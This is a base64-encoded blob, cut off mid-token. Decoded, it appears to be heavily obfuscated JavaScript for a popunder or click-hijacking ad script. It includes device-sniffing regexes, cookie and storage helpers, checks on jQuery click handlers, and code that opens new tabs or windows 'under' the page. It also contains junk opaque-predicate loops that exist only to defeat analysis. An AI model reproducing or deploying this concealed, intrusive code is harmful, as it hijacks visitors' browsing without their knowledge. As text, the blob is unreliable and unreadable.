O3FyPXc1Llo2KDMyNCk7SnI9LyhhbmRyb2lkfGJiXGQrfG1lZWdvKS4rbW9iaWxlfGF2YW50Z298YmFkYVwvfGJsYWNrYmVycnl8YmxhemVyfGNvbXBhbHxlbGFpbmV8ZmVubmVjfGhpcHRvcHxpZW1vYmlsZXxpcChob25lfG9kKXxpcGFkfGlyaXN8a2luZGxlfEFuZHJvaWR8U2lsa3xsZ2UgfG1hZW1vfG1pZHB8bW1wfG5ldGZyb250fG9wZXJhIG0ob2J8aW4paXxwYWxtKCBvcyk/fHBob25lfHAoaXhpfHJlKVwvfHBsdWNrZXJ8cG9ja2V0fHBzcHxzZXJpZXMoNHw2KTB8c3ltYmlhbnx0cmVvfHVwXC4oYnJvd3NlcnxsaW5rKXx2b2RhZm9uZXx3YXB8d2luZG93cyAoY2V8cGhvbmUpfHhkYXx4aWluby9pO1ZyPSgyNDk2LDg0OTUpIT05NzY/dzUuZjYoMjk3KTohITA7JHI9dzUuWjYoNDI2KTtRcj13NS5mNigyMjUpO0dyPXc1LmY2KDE4OCk7WXI9dzUuZjYoNDMxKTtLcj13NS5mNigyNTApO1pyPXc1Llo2KDI2MSk7WHI9dzUuZjYoMTc2KTt0bz13NS5mNigyNSk7ZW89dzUuWjYoMTk1KTtpbz13NS5mNigzMjgpO25vPXc1Llo2KDQwOSk7cm89dzUuZjYoMzQ5KTtvbz13NS5aNigzMjIpO3NvPXc1Llo2KDMxNik7YW89dzUuWjYoMzg1KTtjbz13NS5mNigxMTMpO3VvPXc1LmY2KDQ3NCk7aG89dzUuWjYoMjY3KTtmbz13NS5mNigyNjYpO3BvPXc1Llo2KDQwNyk7X289dzUuWjYoNjMpO2xvPXc1Llo2KDM2Nyk7dm89L3dlYmtpdC87Ym89dzUuWjYoNDUyKTttbz0vc2FmYXJpLztnbz13NS5aNig5Myk7eW89L29wZXJhfG9wcnxvcGlvc1wvLztrbz13NS5aNigzMzEpO3dvPXc1LmY2KDI2KTt4bz13NS5aNigxODIpO09vPXc1LmY2KDM4MCk7Q289dzUuWjYoMTEwKTtFbz13NS5mNigxMTIpO1BvPXc1LmY2KDMwNSk7VG89dzUuZjYoNzQpO0FvPXc1LmY2KDEwMik7Rm89dzUuZjYoNDc4KTtTbz0vYW5kcm9pZC87am89dzUuZjYoMzkxKTtMbz13NS5aNigzMDYpO3pvPXc1LmY2KDQwNSk7Qm89dzUuWjYoOTkpO0lvPXc1Llo2KDM5Nik7TW89dzUuWjYoNDQwKTtXbz13NS5mNig2Nyk7RG89dzUuWjYoNDAxKTtVbz13NS5aNigxNTQpO1JvPXc1LmY2KDI4OSk7Tm89dzUuWjYoMzkzKTtIbz13NS5mNig3OSk7cW89dzUuWjYoMTQwKTtKbz13NS5aNigzNzIpO1ZvPXc1Llo2KDQyMik7JG89dzUuZjYoNDQ5KTtRbz13NS5aNigzOTUpO0dvPXc1Llo2KDIwNik7WW89dzUuWjYoMjQzKTtLbz13NS5mNig2Mik7Wm89dzUuWjYoNDg1KTtYbz13NS5mNigxMzApO3RzPXc1Llo2KDE1Nik7ZXM9dzUuZjYoMjAxKTtpcz13NS5aNigzNjEpO25zPXc1LmY2KDMxNSk7cnM9dzUuWjYoMTIyKTtvcz13NS5mNig3MCk7c3M9dzUuZjYoMjU3KTthcz13NS5aNig0MjUpO2NzPXc1LmY2KDMzMCk7dXM9dzUuZjYoNzMpO2hzPXc1LmY2KDMwMyk7ZnM9dzUuWjYoMTAwKTtwcz13NS5mNigzNzQpO19zPXc1Llo2KDY2KTtscz0oODI2LjA2LDk5Ny4yKSE9PSgyNjIuNzksNzAwLjQpP3c1LmY2KDE3OSk6KG81LHc1Llo2KDM2KSk7ZHM9dzUuWjYoMjIzKTt2cz13NS5mNigxMTkpO2JzPXc1Llo2KDMwOCk7bXM9dzUuZjYoNDcpO2dzPXc1Llo2KDMxOSk7eXM9dzUuZjYoMTgxKTtrcz13NS5mNigzNDUpO3dzPXc1Llo2KDE1KTt4cz0vXigjfGphdmFzY3JpcHQpL2k7T3M9dzUuWjYoMzY2KTtDcz13NS5aNigxOTkpO0VzPXc1Llo2KDM4NCk7UHM9dzUuZjYoNDA2KTtUcz13NS5mNig0MjkpO0FzPXc1LmY2KDI0Nyk7RnM9dzUuZjYoNDQzKTtTcz13NS5mNigzMzgpO2pzPS8oPzpGaXJlZm94fENocm9tZSlcLyhbXGRcLl0rKSg/OiR8XHN8XC98XCkpKy9pO0xzPXc1Llo2KDM3MCk7enM9dzUuZjYoMzEwKTtCcz13NS5aNigzODYpO0lzPXc1Llo2KDI5NCk7TXM9dzUuWjYoMjgzKTtXcz13NS5aNigzODcpO0RzPXc1LmY2KDM5KTtVcz13NS5aNigxMDYpO1JzPXc1LmY2KDIwMik7TnM9dzUuWjYoMzExKTtIcz13NS5mNig0MzgpO3FzPXc1LmY2KDcxKTtKcz13NS5mNigxMzcpO1ZzPXc1Llo2KDI3KTskcz13NS5aNig4NCk7UXM9L18vZztHcz13NS5aNigxNTgpO1lzPXc1Llo2KDE5Mik7S3M9dzUuZjYoNDIzKTtacz13NS5mNigzMzkpO1hzPXc1Llo2KDE1MCk7dGE9dzUuWjYoMTQyKTtlYT13NS5mNig0KTtpYT13NS5aNig0MTApO25hPXc1LmY2KDIzNik7cmE9dzUuZjYoNDAyKTtvYT13NS5mNigyMTQpO3NhPXc1Llo2KDQxNyk7YWE9dzUuZjYoMTg0KTtjYT13NS5aNigxOTcpO3VhPXc1LmY2KDIzMyk7aGE9dzUuZjYoMzApO2ZhPS9saW51eC87cGE9dzUuWjYoMjgyKTtfYT0vb3BlcmEvO2xhPXc1Llo2KDM2NCk7ZGE9dzUuWjYoMTczKTt2YT13NS5aNigzMDApO2JhPXc1LmY2KDIzNSk7bWE9L2VkZ2V8b3ByXC8vO2dhPXc1LmY2KDI4NSk7eWE9dzUuZjYoNDYpO2thPXc1Llo2KDEzKTt3YT13NS5aNigyMDUpO3hhPXc1LmY2KDIyNCk7T2E9dzUuZjYoMzQ0KTtDYT13NS5aNigyMTMpO0VhPS9FZGdlXC8oW1xkXC5dKykoPzokfFxzfFwvfFwpKSsvaTtQYT13NS5mNigxMjYpO1RhPXc1Llo2KDExNCk7QWE9L14oPzouKlteXHddKSooW1x3XSspXHMqJC9pO0ZhPXc1LmY2KDM5Mik7U2E9dzUuWjYoNjkpO2phPXc1LmY2KDMpO0xhPXc1LmY2KDQ1KTt6YT13NS5mNigzMjMpO0JhPXc1LmY2KDEzOSk7SWE9dzUuWjYoMTI5KTtNYT13NS5mNig4KTtXYT13NS5mNig0Mik7RGE9dzUuZjYoMSk7VWE9dzUuWjYoODkpO1JhPXc1LmY2KDIwOSk7TmE9dzUuZjYoMjgpO0hhPXc1LmY2KDIxOSk7cWE9dzUuWjYoMjMwKTtKYT13NS5aNig4MSk7VmE9dzUuWjYoMzA5KTskYT13NS5mNigzNDcpO1FhPXc1LmY2KDM4MSk7R2E9dzUuWjYoOTIpO1lhPXc1LmY2KDEyNSk7S2E9dzUuWjYoMzIpO1phPXc1LmY2KDM5MCk7WGE9dzUuZjYoNDY4KTt0Yz13NS5mNigzNik7ZWM9dzUuZjYoMzk3KTtpYz13NS5aNig0ODApO25jPXc1LmY2KDIyMik7cmM9dzUuZjYoNDU3KTtvYz13NS5aNigzNTIpO3NjPXc1Llo2KDI5KTthYz0vaShQaG9uZXxQYWR8UG9kKS9pO2NjPXc1LmY2KDQzNCk7dWM9dzUuZjYoNDIxKTtoYz13NS5aNig0NzMpO2ZjPXc1LmY2KDE3MCk7cGM9dzUuZjYoMjYyKTtfYz13NS5aNigxNTEpO2xjPXc1LmY2KDQ5KTtkYz13NS5mNigyNTQpO3ZjPXc1LmY2KDQyOCk7YmM9dzUuZjYoMTUzKTttYz13NS5aNigyNjkpO2djPXc1Llo2KDU3KTt5Yz13NS5mNigzNTcpO2tjPS9UcmlkZW50XC8uKj9ydjooW1xkXC5dKykoPzokfFxzfFwvfFwpKSsvaTt3Yz13NS5aNig0NTMpO3hjPXc1Llo2KDQ3Nik7T2M9dzUuZjYoNDU0KTtDYz13NS5mNig0NTgpO0VjPXc1LmY2KDgwKTtQYz0vOlxkKyQvO1RjPXc1Llo2KDI3Mik7QWM9dzUuWjYoMzI3KTtGYz13NS5mNig0NzkpO1NjPXc1Llo2KDYxKTtqYz13NS5mNigyOTEpO0xjPXc1Llo2KDIzMik7emM9dzUuWjYoMTEpO0JjPXc1LmY2KDM0Nik7SWM9dzUuWjYoMTA1KTtNYz13NS5aNig0NzcpO1djPXc1Llo2KDQwKTtEYz13NS5aNig3Nik7VWM9dzUuWjYoMTYpO1JjPXc1Llo2KDIyNyk7TmM9dzUuWjYoMjA0KTtIYz13NS5mNigzNyk7IWZ1bmN0aW9uKHQseSxSdCxYZSxyaSx5aSxBaSxObixkcixVcixpbyxybyxDbyxHcyx6YyxVYyxxYyxKYyxWYywkYyl7InVzZSBzdHJpY3QiO3ZhciBRYyxHYyxZYyxLYyxaYyxYYyx0dSxldSxpdSxudSxydSxvdSxzdSxhdSxjdSx1dSxodSxmdSxwdSxfdSxsdSxkdSx2dSxidSxtdSxndSx5dSxrdSx3dSx4dSxPdSxDdSxFdSxQdSxUdSxBdSxGdTtydT10O3c1Llk0KDApO291PXc1LmM0KHVpLEdyLGJyLF9yLFllLFNpLFR0LGRuLFllLHUsbWksT3QsR3IsWWUsdXIpO3c1Llk0KDEpO3N1PXc1LnU0KGZlLFR0LEh0LG90LFR0KTt3NS5vNCgxKTthdT13NS51NChXaSxQZSxLLF9jLFBlKTt3NS5ZNCgyKTtjdT13NS5jNChydSxnaSk7dzUubzQoMik7dXU9dzUudTQocnUsWm8pO3c1Lm80KDMpO2h1PXc1LmM0KE9jLHJ1LEJpLFV0LEdyLEdyKTt3NS5vNCgyKTtmdT13NS51NChydSwkYSk7cHU9YW87X3U9eGk7bHU9THI7ZHU9bW47dnU9eVtmXVtxbytHcitDXVtYcytHcit0cytHcituY10oKTtidT17dW5kZXI6bzUsbmV3VGFiOm81fTttdT1udWxsO2d1PW81O3l1PSF7fTtrdT1mdW5jdGlvbigpe307dzUuWTQoNCk7d3U9dzUudTQoR3IsT3QsRXQpO3h1PXJpW3ZzK0dyK0FvXXx8e3NyYzpudWxsfTt3NS5vNCg0KTtPdT15W2ZdW3c1LmM0KGVvLEdyLGtyKV07Q3U9eXU7RXU9eXU7UHU9eXU7VHU9ZnVuY3Rpb24oKXt2YXIgRTksbzksdzk7dHJ5e0U5PTM2MDIzMDM0MztvOT01MDA4ODEwMDM7dzk9Mjtmb3IodmFyIGI1PTE7dzUuTDEoYjUudG9TdHJpbmcoKSxiNS50b1N0cmluZygpLmxlbmd0aCw1ODI0MykhPT1FOTtiNSsrKXtyZXR1cm4geVtwXT09PXlbcXJdfHwheVtwXVttcl1bRWldWyhYcy1HciklaF0oKSE9VGM/eVtwXTp5W3FyXTt3OSs9Mjt9aWYodzUuTDEodzkudG9TdHJpbmcoKSx3OS50b1N0cmluZygpLmxlbmd0aCw1MTUyOSkhPT1vOSl7cmV0dXJuIHlbcF0hPT15W3FyXSYmdHlwZW9mIHlbcF1bbXJdW0VpXVtYcytHcitoXSgpPT09VGM/eVtwXTp5W3FyXTt9fWNhdGNoKHQpe3ZhciBBOSxJOSxLOTtBOT0yMjIyMDY4MDc7STk9NDU1MTUwMTA4O0s5PTI7Zm9yKHZhciBROT0xO3c1LkwxKFE5LnRvU3RyaW5nKCksUTkudG9TdHJpbmcoKS5sZW5ndGgsNjg5NDApIT09QTk7UTkrKyl7cmV0dXJuIFB1PWd1LHlbcXJdO0s5Kz0yO31pZih3NS5MMShLOS50b1N0cmluZygpLEs5LnRvU3RyaW5nKCkubGVuZ3RoLDU2NzU3KSE9PUk5KXtyZXR1cm4gUHU9Z3UseVtxcl07fX19KCk7QXU9VHVbSmFdW1FhXTtGdT1mdW5jdGlvbigpe3ZhciB0O3RyeXt0PVR1W0VpXVt1bl07fWNhdGNoKHQpe31yZXR1cm4hUHUmJnR8fChidT17bmV3VGFiOmd1LHVuZGVyOnl1fSx0PXJpW2lhXSksdDt9KCk7S2M9e3Q6W10sbjpmdW5jdGlvbih0KXt2YXIgSDcsdjcsVDc7SDc9MTg2NDAwNjYwNDt2Nz03MzE4NDIzNTE7VDc9Mjtmb3IodmFyIG83PTE7dzUuZDEobzcudG9TdHJpbmcoKSxvNy50b1N0cmluZygpLmxlbmd0aCw5MTY5NikhPT1INztvNysrKXt0eXBlb2YgeVt3c10hPT1nZSYmeVt3c11bT29dJiZObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO1Q3Kz0yO31pZih3NS5kMShUNy50b1N0cmluZygpLFQ3LnRvU3RyaW5nKCkubGVuZ3RoLDI0OTc5KSE9PXY3KXt+eVt3c109PT1nZXx8eVt3c11bT29dfHxObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO319LHI6ZnVuY3Rpb24oKXtmb3IodmFyIHQ9MDt0PHRoaXMudFtwaV07dCsrKXt0aGlzLm4odGhpcy50W3RdKTt9fSxlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9W3RdW0tuXShBaVtYdF1bcW5dW0NpXShhcmd1bWVudHMsMSkpO3RoaXMudFtNcl0oZSk7R2MuaSgpJiZ0aGlzLm4oZSk7fX07ZXU9e3M6ZnVuY3Rpb24oKXtpZih0aGlzLm89PT1tdSl0cnl7eVthcytHcit0aV1bbGkrR3IrRXJdKHJ1LDEpO3lbYXMrR3IrdGldW3huK0dyK0VyXShydSk7dGhpcy5vPWd1O31jYXRjaCh0KXt2YXIgdzcscDcsYjk7dzc9LTE2MTA5ODQyMzA7cDc9OTg2NDU4NDQ2O2I5PTI7Zm9yKHZhciBtOT0xO3c1LmQxKG05LnRvU3RyaW5nKCksbTkudG9TdHJpbmcoKS5sZW5ndGgsODg3MTMpIT09dzc7bTkrKyl7dGhpcy5vPXl1O2I5Kz0yO31pZih3NS5MMShiOS50b1N0cmluZygpLGI5LnRvU3RyaW5nKCkubGVuZ3RoLDMzNDE0KSE9PXA3KXt0aGlzLm89eXU7fXRoaXMubz15dTt9cmV0dXJuIHRoaXMubzt9LHU6ZnVuY3Rpb24odCl7dGhpcy5zKCk/eVthcytHcit0aV1beG4rR3IrRXJdKHQpOnR1LnUodCk7fSxjOmZ1bmN0aW9uKHQpe3RyeXtyZXR1cm4gdGhpcy5zKCk/eVthcytHcit0aV1bYWErR3IrRXJdKHQpOnR1LmModCk7fWNhdGNoKHQpe3JldHVybiBtdTt9fSxvOm11LGE6ZnVuY3Rpb24odCxlKXt0aGlzLnMoKT95W2FzK0dyK3RpXVtsaStHcitFcl0odCxlKTp0dS5hKHQsZSk7fX07dHU9e3U6ZnVuY3Rpb24odCl7dGhpcy5hKHQsMCxuZXcgSmMoMCkpO30sYzpmdW5jdGlvbih0KXt2YXIgZTt3NS5ZNCg1KTtlPXJpW050XVtiY10obmV3IFVyKHc1LnU0KGVyLEdyLEdyLGV0LHNjLHQsR3IsR3IsdHQsdWMsR3IsR3IsSm8sR3IpLGxzKSk7cmV0dXJuIGU/VmMoZVswXVtDcl0oR3IrZXQrR3IpWzFdKTptdTt9LGE6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO3M9aXx8R3I7cyYmKHR5cGVvZiBzPT09V3Q/KG89bmV3IEpjKCkpW2xpK0dyK0hdKG9bYWErR3IrSF0oKSsxZTMqcyk6bz1zLHM9R3IrZXIrZmkrZXQrR3Irb1tYcytHcitWcitHcit4YytHcitXK0dyK2hdKCkpO3JpW050XT10KyhHcitldCtHcikrJGMoR3IrZSkrcysocj9HcitlcitkcytldCtHcityOkdyKSsoR3IrZXIrQXQrZXQrR3IpKyhufHxHcitQZStHcik7fX07WmM9e3A6ZnVuY3Rpb24odCl7dmFyIGUsaTtpPXt9O2ZvcihlPTA7ZTx0W3BpXTtlKyspe2lbdFtlXVswXV09dFtlXVsxXTt9cmV0dXJuIGk7fSxXOmZ1bmN0aW9uKHQsZSxpKXt2YXIgbjt0cnl7cmV0dXJuIG49dFthYStHcitHaV0oZSksdHlwZW9mIGkhPT1UYz95dTohIW5ldyBVcihGbitpK01zLGxzKVtqY10obik7fWNhdGNoKHQpe3JldHVybiB5dTt9fSxBOmZ1bmN0aW9uKCl7dHJ5e3JldHVybiB0eXBlb2YgeS5qUXVlcnkuZm4ub249PT1aczt9Y2F0Y2godCl7cmV0dXJuIHl1O319LEc6ZnVuY3Rpb24odCl7cmV0dXJuKHQ/bmV3IEpjKHQpOm5ldyBKYygpKVthYStHcitIXSgpO30sTTpmdW5jdGlvbih0KXt2YXIgbTAsQTAsSTAsZSxsNyxjNyxWNzttMD0tMTc4MjYxMjU4MTtBMD0tMTYzMzI0MDE2NDtJMD0yO2Zvcih2YXIgcjA9MTt3NS5MMShyMC50b1N0cmluZygpLHIwLnRvU3RyaW5nKCkubGVuZ3RoLDM0ODU4KSE9PW0wO3IwKyspe0kwKz0yO31pZih3NS5MMShJMC50b1N0cmluZygpLEkwLnRvU3RyaW5nKCkubGVuZ3RoLDg0OTA2KSE9PUEwKXt9dHJ5e2w3PS0xMjU4NTI0ODY5O2M3PTc3MTI1MDQ2ODtWNz0yO2Zvcih2YXIgeTc9MTt3NS5kMSh5Ny50b1N0cmluZygpLHk3LnRvU3RyaW5nKCkubGVuZ3RoLDEwMjkyKSE9PWw3O3k3KyspeyhlPXRbSmFdW1FhXShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7VjcrPTI7fWlmKHc1LmQxKFY3LnRvU3RyaW5nKCksVjcudG9TdHJpbmcoKS5sZW5ndGgsMjYwMTcpIT09YzcpeyhlPXRbSmFdW1FhXSgoVWEtVnQpL2NpKSlbYm9dKCk7ZVtJb10oKTt9fWNhdGNoKHQpe30oZT1BdShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7fSxUOmZ1bmN0aW9uKHQpe3QmJihUdVtFaV09dCk7fSxxOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZSxpPVt5cixUbixFYSxCZSxqcyxabixqdCxrYyx3ZV0sbj0wO248aVtwaV07bisrKWlmKGU9aVtuXVtqY10odnUpKXtyZXR1cm4gdD9VYyhlWzFdLDEwKTplWzFdW1pdKFFzLEdyK1R0K0dyKTt9cmV0dXJuIG11O30sTDpmdW5jdGlvbih0LGUpe3c1Llk0KDcpO3JldHVybiB3NS51NChZZSxlcixHcix0LGllLHlzLEdyLGUsR3IsVmUsVnQsR3IpO30sXzpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUTAsZTAsajA7UTA9LTE2NDA5MDY2NDA7ZTA9MzYxNTQ4MTI4O2owPTI7Zm9yKHZhciB0MD0xO3c1LmQxKHQwLnRvU3RyaW5nKCksdDAudG9TdHJpbmcoKS5sZW5ndGgsMzk3NjcpIT09UTA7dDArKyl7aT15O3c1Llk0KDQpO249dFtDcl0odzUudTQoR3IsVHQsR3IpKTtmb3IoZT0wO2U8bltwaV07ZSsrKXtpPWlbbltlXV07fXJldHVybiBpO2owKz0yO31pZih3NS5MMShqMC50b1N0cmluZygpLGowLnRvU3RyaW5nKCkubGVuZ3RoLDQ3NjE4KSE9PWUwKXtpPXk7dzUuWTQoNik7bj10W0NyXSh3NS51NChUdCxHcixHcikpO2ZvcihlPTQ7ZTw9bltwaV07ZS0tKXtpPWlbbltlXV07fXJldHVybiBpO319LFM6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbyxzMCxEMCxXMCxVMCx4MCx6MDtvPXkualF1ZXJ5fHxudWxsO2lmKHQmJnRbQW5dKXtyZXR1cm4gZ3U7fWlmKCFvKXtyZXR1cm4geXU7fXRyeXtzMD0tMTYxNTA0NTA7RDA9LTE5OTUwMzAzNTQ7VzA9Mjtmb3IodmFyIGMwPTE7dzUuZDEoYzAudG9TdHJpbmcoKSxjMC50b1N0cmluZygpLmxlbmd0aCw5Nzc5KSE9PXMwO2MwKyspe2lmKChlPShvKHQpW2llXShHYSkmJm8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9VzArPTI7fWlmKHc1LkwxKFcwLnRvU3RyaW5nKCksVzAudG9TdHJpbmcoKS5sZW5ndGgsMjI1MTYpIT09RDApe2lmKChlPShvKHQpW2llXShHYSl8fG8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9fX1jYXRjaCh0KXt9dHJ5e1UwPS0xMjgxMDM4MTgyO3gwPS01MjI2MTY2MzI7ejA9Mjtmb3IodmFyIGkwPTE7dzUuTDEoaTAudG9TdHJpbmcoKSxpMC50b1N0cmluZygpLmxlbmd0aCwzMjg1OSkhPT1VMDtpMCsrKXtmb3IoZT1vKHJpW1FyXSlbaWVdKEdhKVtnc10saT00O2k+ZVtwaV07aS0tKWZvcihyPW8oZVtpXVtvZV0pLG49NztuPj1yW3BpXTtuLS0paWYocltuXT09dCl7cmV0dXJuIGd1O316MCs9Mjt9aWYodzUuTDEoejAudG9TdHJpbmcoKSx6MC50b1N0cmluZygpLmxlbmd0aCw4ODE3MikhPT14MCl7Zm9yKGU9byhyaVtRcl0pW2llXShHYSlbZ3NdLGk9NDtpPmVbcGldO2ktLSlmb3Iocj1vKGVbaV1bb2VdKSxuPTc7bj49cltwaV07bi0tKWlmKHJbbl09PXQpe3JldHVybiBndTt9fWZvcihlPW8ocmlbUXJdKVtpZV0oR2EpW2dzXSxpPTA7aTxlW3BpXTtpKyspZm9yKHI9byhlW2ldW29lXSksbj0wO248cltwaV07bisrKWlmKHJbbl09PT10KXtyZXR1cm4gZ3U7fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sQzpmdW5jdGlvbih0LGUsaSl7dmFyIG4scixvO289WmMuTyhvNSk7cmV0dXJuIG49b1t0bytHcit5YV1bbXJdW1VzK0dyK0NuXShkZSksbltPXT1yYStQZStDdCxuW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoSmErVHQrX3QrWWUrR3IrZXQrR3IrWWUrSmErVHQrcCtZZStHcitldCtHcitZZStKYStUdCt1cytHcitDbitZZStHcitldCtHcitZZStkK2VyK0dyKSsoSmErVHQrJG4rWWUrR3IrZXQrR3IrWWUrWnMrUit6K1ZlK0dyK1llK3NvK1ZlK0dyK1llK0NlK1ArR3IrWWUrR3Ird24rR3IpKyh1YStZZStCcytHcitYbytZZStHcitldCtHcitZZStKYStUdCtRYStSK3orVmUrR3IrWWUrc28rVmUrR3IrWWUrQ2UrUCtHcitlcitHcikrKFdyK1llK0dyK3duK0JzK0dyK1hvK1R0K1dvK1llK0dyK2V0K0dyK1llK2QrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSsoTnIrWWUrQnMrR3IrWG8rZXIrR3IpKyhHcitEcitHcitlcitHciksb1t0bytHcit5YV1bbXJdW1FyXVtJdCtHcitXZV0obikscj1vW3RvK0dyK3lhXS5ta3AodCxlLGkpLFpjLlAobykscjt9LEI6ZnVuY3Rpb24odCxlLG4pe3ZhciByLG8scztyPTA7bz1ufHwxMDtzPXQ7dHJ5e2Zvcig7cyYmcisrPG87KXtpZih0eXBlb2YgZT09PVRjJiYoc1tTYytHcittY109PT1lfHxaYy5JKHMsZSkpfHx0eXBlb2YgZT09PWFyJiZzPT09ZSl7cmV0dXJuIHM7fXc1Llk0KDQpO3M9c1t3NS51NChfdCxHcixpKV07fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sRjpmdW5jdGlvbih0KXt2YXIgZTtlPVJ0W1RlXTtyZXR1cm4gdHlwZW9mIHQhPT1nZSYmKGU9KGN0W2pjXSh0KXx8W0dyLEdyXSlbMV0pLGVbWl0oUGMsR3IpO30seDpmdW5jdGlvbih0KXtyZXR1cm4geWlbWHRdW1hzK0dyK2hdW0NpXSh0KT09PUdyK0pvK2FyK1llK2JuK3R0K0dyO30sazpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUjAsUDAsSjA7aT1bXTtuPVpjLnYoKTt0cnl7UjA9LTE2Mjc2MTY5Mzc7UDA9LTIwMDI5NzgxNzY7SjA9Mjtmb3IodmFyIEIwPTE7dzUuTDEoQjAudG9TdHJpbmcoKSxCMC50b1N0cmluZygpLmxlbmd0aCw3NjkxMCkhPT1SMDtCMCsrKXtmb3IoZSBpbiBuKXt+dFtlXSE9Z2V8fGlbTXJdKGUvKChHci1ldCklR3IpLXRbZV0pO31KMCs9Mjt9aWYodzUuTDEoSjAudG9TdHJpbmcoKSxKMC50b1N0cmluZygpLmxlbmd0aCw4NjExMCkhPT1QMCl7Zm9yKGUgaW4gbil7fnRbZV0hPWdlfHxpW01yXShlLygoR3ItZXQpJUdyKS10W2VdKTt9fWZvcihlIGluIG4pe3R5cGVvZiB0W2VdIT09Z2UmJmlbTXJdKGUrKEdyK2V0K0dyKSt0W2VdKTt9fWNhdGNoKHQpe0tjLmUodCk7fXc1Llk0KDQpO3JldHVybiBpW05pXSh3NS5jNChHcixWZSxHcikpO30sUjpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy5CKHQsT24pO30seTpmdW5jdGlvbigpe2Zvcih2YXIgdCxlPXt9LGk9MDtpPGFyZ3VtZW50c1twaV07aSsrKWZvcih0IGluIGFyZ3VtZW50c1tpXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0oYXJndW1lbnRzW2ldLHQpJiYoZVt0XT1hcmd1bWVudHNbaV1bdF0pO31yZXR1cm4gZTt9LFY6ZnVuY3Rpb24odCxlKXt2YXIgSjEsWDEsQjE7SjE9NDUyODczNzI5O1gxPTEyNzMxMDM4NTg7QjE9Mjtmb3IodmFyIE4xPTE7dzUuZDEoTjEudG9TdHJpbmcoKSxOMS50b1N0cmluZygpLmxlbmd0aCw1NTI1MSkhPT1KMTtOMSsrKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpKihlLXQpKSt0O0IxKz0yO31pZih3NS5kMShCMS50b1N0cmluZygpLEIxLnRvU3RyaW5nKCkubGVuZ3RoLDI4MzUxKSE9PVgxKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpJShlL3QpKSV0O319LFE6ZnVuY3Rpb24odCl7dmFyIGUsaSxuO3c1Llk0KDgpO2U9dzUuYzQodHlwZW9mIHQsYXIpO2k9dDt3NS5vNCg0KTtuPXJpW1VzK0dyK0NhXSh3NS51NChTbixHcix1bykpO25bTHMrR3IrU24rR3IrQ2FdKGdzLGd1LGd1LHksMCwwLDAsMCwwLGd1LHl1LHl1LGd1LDAsbXUpO2V8fChpPVpjLnooVSx7aHJlZjp0fHxpZStWdCtyYStQZStqbytWZStHcit1aStkZSt1citKYStUdCtJbytSK0dyK1ArR3IrZXIrR3IrdWkrR3IrUGUrZGUrdXIrR3J9KSxyaVtRcl1bSXQrR3IrV2VdKGkpKTtpW2duK0dyK0NhXShuKTtlfHxaYy5QKGkpO30sejpmdW5jdGlvbih0LGUsaSl7dmFyIG4scjtyPXJpW1VzK0dyK0NuXSh0KTtmb3IobiBpbiBlKXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShlLG4pJiZyW2xpK0dyK0dpXShuLGVbbl0pO31yZXR1cm4gaSYmKHJbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPWkpLHI7fSxZOmZ1bmN0aW9uKCl7dHJ5e3c1Lm80KDQpO3JldHVybiEhT3VbdzUuYzQoZW4sUGUsTWMpXVt3NS51NCgkaSxHcixXcyldO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sbDpmdW5jdGlvbih0KXt2YXIgZSxpLFk3LGY3LHM3O2U9WmMuXyh0KTt3NS5ZNCg0KTtpPXRbWl0oQWEsdzUudTQoR3Isem8scSkpO3RyeXtZNz0tMTYzMTA2MDI3MDtmNz0xOTgxNTM2MDYxO3M3PTI7Zm9yKHZhciBXNz0xO3c1LkwxKFc3LnRvU3RyaW5nKCksVzcudG9TdHJpbmcoKS5sZW5ndGgsMTYwMikhPT1ZNztXNysrKXtyZXR1cm4rbmV3IFVyKChacy9ZZS1HcikvIGkveHIsUnMpW2lyXShlW1hzJUdyL2hdKCkpO3M3Kz0yO31pZih3NS5MMShzNy50b1N0cmluZygpLHM3LnRvU3RyaW5nKCkubGVuZ3RoLDExNjM3KSE9PWY3KXtyZXR1cm4hbmV3IFVyKFpzK1llK0dyK2kreHIsUnMpW2lyXShlW1hzK0dyK2hdKCkpO319Y2F0Y2godCl7cmV0dXJuIHRbWHMrR3IraF0oKVtMK0dyK1dhXShrbytZZStycytZZStVK1llK1pzKT4tMT9ndTpYYy5kP2d1Onl1O319LHY6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbzt3NS5vNCg0KTtlPXlbdzUuYzQoUGEsR3IsZyldO3c1Llk0KDQpO2k9eVt3NS5jNChQYSxHcix3YyldO249eVtPaStHcitVZV18fHlbT2krR3IrV25dfHwwO3I9eVtPaStHcit4b118fHlbT2krR3IrQ2NdfHwwO289e307cmV0dXJuIG9bb2NdPWUsb1tLYV09aSxvW0hpXT1uLG9bcF09cixvW29yXT0wLG9bRWldPTEsb1tTcl09MSxvW09yXT0xLG8ucmVzaXphYmxlPTEsb1tNZV09MSxYYy5iJiYob1tLYV0rPVhjLm0/NDY6NTIpLFhjLmcmJihvW29jXS09NSxvW0thXS09NCksdHlwZW9mIHQ9PT1hciYmKG89WmMueShvLHQpKSxvO30sTzpmdW5jdGlvbih0KXt2YXIgZTtlPXJpW1VzK0dyK0NuXShjbik7cmV0dXJuIGVbeGVdW3h0XT1YaSx0JiZyaVtRcl1bSXQrR3IrV2VdKGUpLGU7fSxEOmZ1bmN0aW9uKHQpe3JldHVybiB0W1NjK0dyK21jXT09PUZjK